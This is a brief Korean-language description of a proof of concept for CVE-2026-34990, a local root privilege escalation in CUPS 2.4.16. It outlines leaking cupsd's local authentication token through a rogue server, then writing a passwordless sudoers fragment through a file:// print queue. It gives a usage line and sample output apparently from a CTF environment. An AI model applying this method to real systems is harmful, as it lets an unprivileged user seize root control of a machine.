CVE-2026-34990

CVE-2026-34990 - CUPS 로컬 권한 상승 root로 실행 중인 CUPS = 2.4.16에 대한 로컬 권한 상승. cupsd의 Local 인증 토큰을 유출한 뒤, file:// 프린트 큐를 통해 root 권한으로 NOPASSWD sudoers 조각을 작성한다. 사용법 python3 poc.py 성공 시: CVE-2026-34990 | user=ctfplayer | cupsd=127.0.0.1:631 coercing cupsd - rogue server ... + captured token: f4a8...c31b...